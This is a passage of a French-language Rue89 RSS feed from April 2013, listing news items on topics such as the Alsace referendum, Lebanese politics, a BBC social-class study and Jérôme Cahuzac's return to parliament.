href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Le+maire+communiste+de+Vierzon+ach%C3%A8te+une+%C3%A9glise.+Pour+faire+quoi%C2%A0%3F&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F06%2Fmaire-communiste-vierzon-achete-eglise-va-t-faire-241209" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676222874/u/0/f/608948/c/33822/s/2a6646d2/kg/342/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676222874/u/0/f/608948/c/33822/s/2a6646d2/kg/342/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676222874/u/0/f/608948/c/33822/s/2a6646d2/kg/342/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a6646d2/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Csaint0Eeloi20I0A0Bjpg/saint-eloi2_0.jpg" length="223666" type="image/jpeg" /><category domain="http://www.rue89.com/islam">Islam</category><category domain="http://www.rue89.com/religions">religions</category><category domain="http://www.rue89.com/pc">PC</category><category domain="http://www.rue89.com/mosquees">mosquées</category><category domain="http://www.rue89.com/islamophobie">islamophobie</category><category domain="http://www.rue89.com/integrisme">intégrisme</category><pubDate>Sat, 06 Apr 2013 10:38:51 GMT</pubDate><comments>http://www.rue89.com/2013/04/06/maire-communiste-vierzon-achete-eglise-va-t-faire-241209#commentaires</comments><guid isPermaLink="false">241209 at http://www.rue89.com</guid><dc:creator>Pascal Riché</dc:creator></item><item><title>L’Alsace, « pays d’entre-deux », bouscule les terres françaises</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a663964/l/0L0Srue890N0C20A130C0A40C0A60Clalsace0Epays0Edentre0Edeux0Ebouscule0Eles0Eterres0Efrancaises0E241232/story01.htm</link><description>Dimanche, l'Alsace se prononcera par référendum sur la fusion de ses deux départements et la naissance d'une super-région, plus puissante et plus autonome.&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a663964/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a49e2b0/l/0Lblogs0Brue890N0Cchez0Enoel0Emamere0C20A130C0A40C0A30Cavec0Elaffaire0Ecahuzac0Eloligarchie0Eest0Enue0E230A0A36/story01.htm'&gt;Avec l’affaire Cahuzac, l’oligarchie est nue&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff6/l/0L0Srue890N0C20A130C0A40C0A50Cpolitiques0Eflics0Evoyous0Emarseille0Epassee0Ecrible0Etrois0Ebouquins0E2410A84/story01.htm'&gt;Politiques, flics, voyous : Marseille passée au crible de trois bouquins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a6187cf/l/0L0Srue890N0C20A130C0A40C0A50Ca0Eparis0Eles0Eecolos0Eauront0Ecandidat0Eface0Ea0Ehidalgo0Esectaire0E241233/story01.htm'&gt;A Paris, les écolos auront un candidat face à Hidalgo « la sectaire »&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=L%E2%80%99Alsace%2C+%C2%AB%C2%A0pays+d%E2%80%99entre-deux%C2%A0%C2%BB%2C+bouscule+les+terres+fran%C3%A7aises&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F06%2Flalsace-pays-dentre-deux-bouscule-les-terres-francaises-241232" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=L%E2%80%99Alsace%2C+%C2%AB%C2%A0pays+d%E2%80%99entre-deux%C2%A0%C2%BB%2C+bouscule+les+terres+fran%C3%A7aises&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F06%2Flalsace-pays-dentre-deux-bouscule-les-terres-francaises-241232" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676221013/u/0/f/608948/c/33822/s/2a663964/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676221013/u/0/f/608948/c/33822/s/2a663964/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676221013/u/0/f/608948/c/33822/s/2a663964/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a663964/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Ccigognes0I10Bjpeg/cigognes_1.jpeg" length="117559" type="image/jpeg" /><category domain="http://www.rue89.com/mulhouse">Mulhouse</category><category domain="http://www.rue89.com/jerome-cahuzac/politique">Politique</category><category domain="http://www.rue89.com/alsace">alsace</category><category domain="http://www.rue89.com/colmar">colmar</category><category domain="http://www.rue89.com/departements">départements</category><category domain="http://www.rue89.com/strasbourg">Strasbourg</category><category domain="http://www.rue89.com/regions">régions</category><category domain="http://www.rue89.com/decentralisation">décentralisation</category><pubDate>Sat, 06 Apr 2013 09:22:13 GMT</pubDate><comments>http://www.rue89.com/2013/04/06/lalsace-pays-dentre-deux-bouscule-les-terres-francaises-241232#commentaires</comments><guid isPermaLink="false">241232 at http://www.rue89.com</guid><dc:creator>François Krug</dc:creator></item><item><title>Nouveau Premier ministre au Liban : Riyad tente d’imposer sa tutelle</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a65accb/l/0Lblogs0Brue890N0Cbeyrouth0Ejerusalem0C20A130C0A40C0A60Cdesignation0Edun0Enouveau0Epremier0Eministre0Eau0Eliban0Eriyad0Etente0Edimposer0Esa0Etutelle0E230A0A62/story01.htm</link><description>Deux semaines après la démission du Premier ministre Najib Mikati, les consultations parlementaires contraignantes ont repris vendredi au palais présidentiel et devraient logiquement aboutir à la nomination de Tammam Salam, député de Beyrouth.Tammam Salam, 67 ans, est issu d’une des plus importantes familles sunnites de Beyrouth. Son père, Saëb Salam, fut l’un des leaders de la lutte contre le mandat français et de l’indépendance libanaise en 1943. Quatre fois Premier ministre entre 1952 et 1973...&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a65accb/mf.gif' border='0'/&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Nouveau+Premier+ministre+au+Liban%C2%A0%3A+Riyad+tente+d%E2%80%99imposer+sa+tutelle&amp;link=http%3A%2F%2Fblogs.rue89.com%2Fbeyrouth-jerusalem%2F2013%2F04%2F06%2Fdesignation-dun-nouveau-premier-ministre-au-liban-riyad-tente-dimposer-sa-tutelle-230062" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Nouveau+Premier+ministre+au+Liban%C2%A0%3A+Riyad+tente+d%E2%80%99imposer+sa+tutelle&amp;link=http%3A%2F%2Fblogs.rue89.com%2Fbeyrouth-jerusalem%2F2013%2F04%2F06%2Fdesignation-dun-nouveau-premier-ministre-au-liban-riyad-tente-dimposer-sa-tutelle-230062" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676220695/u/0/f/608948/c/33822/s/2a65accb/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676220695/u/0/f/608948/c/33822/s/2a65accb/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676220695/u/0/f/608948/c/33822/s/2a65accb/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a65accb/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Creprise0Iexternes0Cthumbnail0Isquare0C20A130C0A40Cgenerique0I40A0A0I30A0A0Iok0Bpng/generique_400_300_ok.png" length="32222" type="image/png" /><category domain="http://www.rue89.com/syrie">Syrie</category><category domain="http://www.rue89.com/arabie-saoudite">Arabie saoudite</category><category domain="http://www.rue89.com/liban">liban</category><pubDate>Sat, 06 Apr 2013 09:03:51 GMT</pubDate><comments>http://blogs.rue89.com/beyrouth-jerusalem/2013/04/06/designation-dun-nouveau-premier-ministre-au-liban-riyad-tente-dimposer-sa-tutelle-230062#commentaires</comments><guid isPermaLink="false">241235 at http://www.rue89.com</guid><dc:creator>Gilles Rubin</dc:creator></item><item><title>Franck Courtès, écrivain : « J’ai commencé à courir à l’âge où mon père est mort »</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a65a3be/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A60Cf0Ecourtes0Eecrivain0Ejai0Ecommence0Ea0Ecourir0Ea0Elage0Epere0Eest0Emort0E241175/story01.htm</link><description>&lt;p&gt;J’ai commencé à courir il y a quatre ans, après avoir lu &lt;a href="http://www.lepoint.fr/livre/autoportrait-de-l-auteur-en-coureur-de-fond-d-haruki-murakami-09-08-2011-1361013_79.php" target="_blank"&gt;le livre&lt;/a&gt; de Murakami « Autoportrait de l’auteur en coureur de fond ».&lt;/p&gt; &lt;p&gt;Il disait des choses qui résonnaient tellement fort. Ça le structurait. J’avais aimé son honnêteté aussi. Quand on lui demandait ce que ça lui apportait, il disait : « Mais rien, je ne pense à rien justement. Ce côté zen, c’était très beau.&lt;/p&gt; &lt;p&gt;C’était une période de ma vie où je faisais du surplace. Professionnellement, j’avais du travail mais l’impression de ne pas me renouveler.&lt;/p&gt; &lt;p&gt;Mon couple n’allait pas bien. A cette époque, j’étais déprimé. Pas en...&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a65a3be/mf.gif' border='0'/&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Franck+Court%C3%A8s%2C+%C3%A9crivain%C2%A0%3A+%C2%AB%C2%A0J%E2%80%99ai+commenc%C3%A9+%C3%A0+courir+%C3%A0+l%E2%80%99%C3%A2ge+o%C3%B9+mon+p%C3%A8re+est+mort%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-sport%2F2013%2F04%2F06%2Ff-courtes-ecrivain-jai-commence-a-courir-a-lage-pere-est-mort-241175" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Franck+Court%C3%A8s%2C+%C3%A9crivain%C2%A0%3A+%C2%AB%C2%A0J%E2%80%99ai+commenc%C3%A9+%C3%A0+courir+%C3%A0+l%E2%80%99%C3%A2ge+o%C3%B9+mon+p%C3%A8re+est+mort%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2Frue89-sport%2F2013%2F04%2F06%2Ff-courtes-ecrivain-jai-commence-a-courir-a-lage-pere-est-mort-241175" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676219905/u/0/f/608948/c/33822/s/2a65a3be/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676219905/u/0/f/608948/c/33822/s/2a65a3be/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676219905/u/0/f/608948/c/33822/s/2a65a3be/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a65a3be/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cmoi0I30Akms10Bjpg/moi_30kms1.jpg" length="3256630" type="image/jpeg" /><category domain="http://www.rue89.com/rue89-sport/fitness">Fitness</category><category domain="http://www.rue89.com/rue89-sport">Rue89 Sport</category><category domain="http://www.rue89.com/course-pied">Course à pied</category><pubDate>Sat, 06 Apr 2013 07:55:03 GMT</pubDate><comments>http://www.rue89.com/rue89-sport/2013/04/06/f-courtes-ecrivain-jai-commence-a-courir-a-lage-pere-est-mort-241175#commentaires</comments><guid isPermaLink="false">241175 at http://www.rue89.com</guid><dc:creator>Franck Courtès</dc:creator></item><item><title>La BBC découvre sept classes sociales au lieu de trois</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a624029/l/0L0Srue890N0C20A130C0A40C0A50Cbbc0Edecouvre0Esept0Eclasses0Esociales0Elieu0Etrois0E241234/story01.htm</link><description>&lt;p&gt;Autrefois, les Anglais parvenaient à se ranger sans hésiter dans l’une des trois classes sociales : la supérieure, la moyenne, l’ouvrière (« upper », « middle », et « working class »). Mais aujourd’hui, quand on leur demande où ils se situent, beaucoup sont indécis.&lt;/p&gt; &lt;p&gt;La BBC, qui a fait travailler son laboratoire de recherche sur le sujet, nous apprend qu’il y en a en réalité sept classes sociales, de l’élite au « précariat ». Les classes sociales traditionnelles ne correspondent plus qu’à 39% des habitants, selon les résultats d’un questionnaire rempli par 161 000 personnes.&lt;/p&gt; &lt;p&gt;L’étude...&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a624029/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff8/l/0L0Srue890N0Crue890Esport0C20A130C0A40C0A50Cfoot0Ea0Esunderland0Elarrivee0Elentraineur0Efasciste0Edi0Ecanio0Escandalise0E241165/story01.htm'&gt;Foot : à Sunderland, l’arrivée du coach fasciste Di Canio scandalise&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=La+BBC+d%C3%A9couvre+sept+classes+sociales+au+lieu+de+trois&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fbbc-decouvre-sept-classes-sociales-lieu-trois-241234" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=La+BBC+d%C3%A9couvre+sept+classes+sociales+au+lieu+de+trois&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fbbc-decouvre-sept-classes-sociales-lieu-trois-241234" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676810986/u/0/f/608948/c/33822/s/2a624029/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676810986/u/0/f/608948/c/33822/s/2a624029/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676810986/u/0/f/608948/c/33822/s/2a624029/a2t.img" border="0"/&gt;</description><category domain="http://www.rue89.com/angleterre">angleterre</category><category domain="http://www.rue89.com/travail">travail</category><category domain="http://www.rue89.com/ouvriers">ouvriers</category><category domain="http://www.rue89.com/bbc">BBC</category><category domain="http://www.rue89.com/riches">riches</category><category domain="http://www.rue89.com/classes-sociales">classes sociales</category><pubDate>Fri, 05 Apr 2013 17:40:36 GMT</pubDate><comments>http://www.rue89.com/2013/04/05/bbc-decouvre-sept-classes-sociales-lieu-trois-241234#commentaires</comments><guid isPermaLink="false">241234 at http://www.rue89.com</guid><dc:creator>Pascal Riché</dc:creator></item><item><title>A Paris, les écolos auront un candidat face à Hidalgo « la sectaire »</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a6187cf/l/0L0Srue890N0C20A130C0A40C0A50Ca0Eparis0Eles0Eecolos0Eauront0Ecandidat0Eface0Ea0Ehidalgo0Esectaire0E241233/story01.htm</link><description>&lt;p&gt;La décision a été actée par les militants d’Europe Ecologie – Les Verts mais le PS peine à y croire : il y aura un candidat écologiste dans la capitale, au premier tour des municipales de 2014. Son nom n’est pas encore connu puisque Cécile Duflot préférera probablement rester au gouvernement même si elle continue de dire que &lt;a href="http://www.lejdd.fr/Politique/Actualite/Interview-Cecile-Duflot-L-austerite-ne-doit-pas-accabler-les-territoires-591860" target="_blank"&gt; « rien n’est exclu »&lt;/a&gt;, tandis que le chef du parti, Pascal Durand, a déjà &lt;a href="http://www.lefigaro.fr/flash-actu/2013/02/28/97001-20130228FILWWW00504-municipalesparis-durand-eelv-dit-non.php" target="_blank"&gt;dit non&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;A un an de l’élection, la cartographie des candidats n’est pas figée, et au Parti socialiste, après le &lt;a href="http://www.lexpress.fr/actualite/politique/municipales-le-guen-s-engage-derriere-hidalgo-a-paris_1231946.html" target="_blank"&gt;retrait de Jean-Marie Le Guen&lt;/a&gt;, l’entourage de la candidate investie par...&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a6187cf/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5342b0/l/0L0Srue890N0C20A130C0A40C0A40Ca0Ecet0Einstant0Etout0Emonde0Epense0Eclient0Esest0Etranche0Egorge0E239436/story01.htm'&gt;« Tout le monde pense que mon client s’est tranché la gorge »&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a538bbe/l/0L0Srue890N0C20A130C0A40C0A40Ca0Eparis0Eles0Efemen0Elancent0Eloffensive0Econtre0Eles0Esalafistes0E241156/story01.htm'&gt;A Paris, les Femen lancent l’offensive contre les salafistes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5d4ff6/l/0L0Srue890N0C20A130C0A40C0A50Cpolitiques0Eflics0Evoyous0Emarseille0Epassee0Ecrible0Etrois0Ebouquins0E2410A84/story01.htm'&gt;Politiques, flics, voyous : Marseille passée au crible de trois bouquins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5e498c/l/0L0Srue890N0C20A130C0A40C0A50Ctopless0Ejihad0Efemen0Esyndrome0Eblonde0E241190A/story01.htm'&gt;« Topless jihad » : Femen, le syndrome de la blonde&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a663964/l/0L0Srue890N0C20A130C0A40C0A60Clalsace0Epays0Edentre0Edeux0Ebouscule0Eles0Eterres0Efrancaises0E241232/story01.htm'&gt;L’Alsace, « pays d’entre-deux », bouscule les terres françaises&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=A+Paris%2C+les+%C3%A9colos+auront+un+candidat+face+%C3%A0+Hidalgo+%C2%AB%C2%A0la+sectaire%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fa-paris-les-ecolos-auront-candidat-face-a-hidalgo-sectaire-241233" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=A+Paris%2C+les+%C3%A9colos+auront+un+candidat+face+%C3%A0+Hidalgo+%C2%AB%C2%A0la+sectaire%C2%A0%C2%BB&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fa-paris-les-ecolos-auront-candidat-face-a-hidalgo-sectaire-241233" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676205144/u/0/f/608948/c/33822/s/2a6187cf/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676205144/u/0/f/608948/c/33822/s/2a6187cf/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676205144/u/0/f/608948/c/33822/s/2a6187cf/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a6187cf/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cparis0Bjpeg/paris.jpeg" length="1395517" type="image/jpeg" /><category domain="http://www.rue89.com/nathalie-kosciusko-morizet">Nathalie Kosciusko-Morizet</category><category domain="http://www.rue89.com/place">Placé</category><category domain="http://www.rue89.com/jerome-cahuzac/politique">Politique</category><category domain="http://www.rue89.com/europe-ecologie-les-verts">Europe Ecologie - Les Verts</category><category domain="http://www.rue89.com/paris">Paris</category><category domain="http://www.rue89.com/hidalgo">hidalgo</category><pubDate>Fri, 05 Apr 2013 17:02:33 GMT</pubDate><comments>http://www.rue89.com/2013/04/05/a-paris-les-ecolos-auront-candidat-face-a-hidalgo-sectaire-241233#commentaires</comments><guid isPermaLink="false">241233 at http://www.rue89.com</guid><dc:creator>Sophie Caillat</dc:creator></item><item><title>Pourquoi la musique n’invente plus rien : rencontre avec Simon Reynolds</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a60a44b/l/0L0Srue890N0C20A130C0A40C0A50Cpourquoi0Emusique0Eninvente0Eplus0Erien0Erencontre0Esimon0Ereynolds0E241119/story01.htm</link><description>Simon Reynolds, critique musical et auteur du livre "Bring The Noise", parle agonie du hip-hop, rôle du Web et manque d'innovation musicale actuel.&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a60a44b/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a491bc2/l/0L0Srue890N0Crue890Eculture0C20A130C0A40C0A30Ca0Esouvenirs0Econtre0Ehistoire0Einternets0Earte0E241116/story01.htm'&gt;A vos souvenirs ! Une « contre-histoire des Internets » avec Arte&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5342af/l/0L0Srue890N0Crue890Eeco0C20A130C0A40C0A40Ccomment0Ebidonner0Eles0Eavis0Ecityvox0Ea0Eteste0E24110A2/story01.htm'&gt;Comment bidonner les avis sur Cityvox : on a testé pour vous&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a54a488/l/0L0Srue890N0Crue890Eculture0C20A130C0A40C0A40Cfrance0Ea0Edeux0Ewinners0Ebooba0Enouveau0Etapie0Elancien0E2410A81/story01.htm'&gt;En France, on a deux winners : Booba le nouveau et Tapie l’ancien&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class='mf-viral'&gt;&lt;table border='0'&gt;&lt;tr&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/sendEmail.cfm?lang=fr&amp;title=Pourquoi+la+musique+n%E2%80%99invente+plus+rien%C2%A0%3A+rencontre+avec+Simon+Reynolds&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fpourquoi-musique-ninvente-plus-rien-rencontre-simon-reynolds-241119" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/partagez.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign='middle'&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark_fr.cfm?title=Pourquoi+la+musique+n%E2%80%99invente+plus+rien%C2%A0%3A+rencontre+avec+Simon+Reynolds&amp;link=http%3A%2F%2Fwww.rue89.com%2F2013%2F04%2F05%2Fpourquoi-musique-ninvente-plus-rien-rencontre-simon-reynolds-241119" target="_blank"&gt;&lt;img src="http://rss.feedsportal.com/images/bookmark.gif" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://da.feedsportal.com/r/162676204022/u/0/f/608948/c/33822/s/2a60a44b/kg/342/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/162676204022/u/0/f/608948/c/33822/s/2a60a44b/kg/342/a2.img" border="0"/&gt;&lt;/a&gt;&lt;img width="1" height="1" src="http://pi.feedsportal.com/r/162676204022/u/0/f/608948/c/33822/s/2a60a44b/kg/342/a2t.img" border="0"/&gt;</description><enclosure url="http://rue89.feedsportal.com/c/33822/f/608948/e/1/s/2a60a44b/l/0L0Srue890N0Csites0Cnews0Cfiles0Cstyles0Cmosaic0Cpublic0Carticle0Cthumbnail0Isquare0C20A130C0A40Cskrillex0I10Bjpg/skrillex_1.jpg" length="38678" type="image/jpeg" /><category domain="http://www.rue89.com/culture">Rue89 Culture</category><category domain="http://www.rue89.com/industrie-du-disque">industrie du disque</category><category domain="http://www.rue89.com/rap">rap</category><category domain="http://www.rue89.com/electro">electro</category><category domain="http://www.rue89.com/rue89-culture/musique">musique</category><category domain="http://www.rue89.com/rue89-culture/hip-hop">hip-hop</category><category domain="http://www.rue89.com/rock">Rock</category><category domain="http://www.rue89.com/internet">Internet</category><pubDate>Fri, 05 Apr 2013 15:50:37 GMT</pubDate><comments>http://www.rue89.com/2013/04/05/pourquoi-musique-ninvente-plus-rien-rencontre-simon-reynolds-241119#commentaires</comments><guid isPermaLink="false">241119 at http://www.rue89.com</guid><dc:creator>Lucile Sourdès</dc:creator></item><item><title>Jérôme Cahuzac veut (et peut) revenir à l’Assemblée nationale</title><link>http://rue89.feedsportal.com/c/33822/f/608948/s/2a5e88e6/l/0L0Srue890N0C20A130C0A40C0A50Cjerome0Ecahuzac0Eveut0Erevenir0Ea0Elassemblee0Enationale0E241216/story01.htm</link><description>&lt;p&gt;C’est Claude Bartolone qui l’affirme &lt;a href="http://www.franceinfo.fr/node/941749" target="_blank"&gt;sur France Info&lt;/a&gt; : Jérôme Cahuzac lui a confié son souhait de retrouver son siège de député confirmant ce que certains proches de l’ancien ministre laissent entendre depuis quelques jours. &lt;/p&gt; &lt;p&gt;Légalement, rien ne l’empêche de revenir. Un ministre peut retrouver son siège dans le mois qui suit un remaniement (ou une démission) sauf s’il y renonce. Jérôme Cahuzac doit donc se décider avant le 19 avril.&lt;/p&gt; &lt;p&gt;Sauf que selon le président de l’Assemblée nationale, c’est déjà tout décidé, l’ancien ministre du Budget a choisi de revenir. En dépit des...&lt;/p&gt;&lt;img width='1' height='1' src='http://rue89.feedsportal.com/c/33822/f/608948/s/2a5e88e6/mf.gif' border='0'/&gt;&lt;div class='mf-related'&gt;&lt;p&gt;Articles en rapport&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href='http://rue89.feedsportal.com/c/33822/f/608948/s/2a4c37e3/l/0L0Srue890N0C20A130C0A40C0A30Ccumul0Emandats0Ereforme0Ereportee0Ea0E20A170Elimiter0Ecasse0E241114/story01.htm'&gt;Cumul des mandats : la réforme reportée à 2017 pour limiter la casse&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a 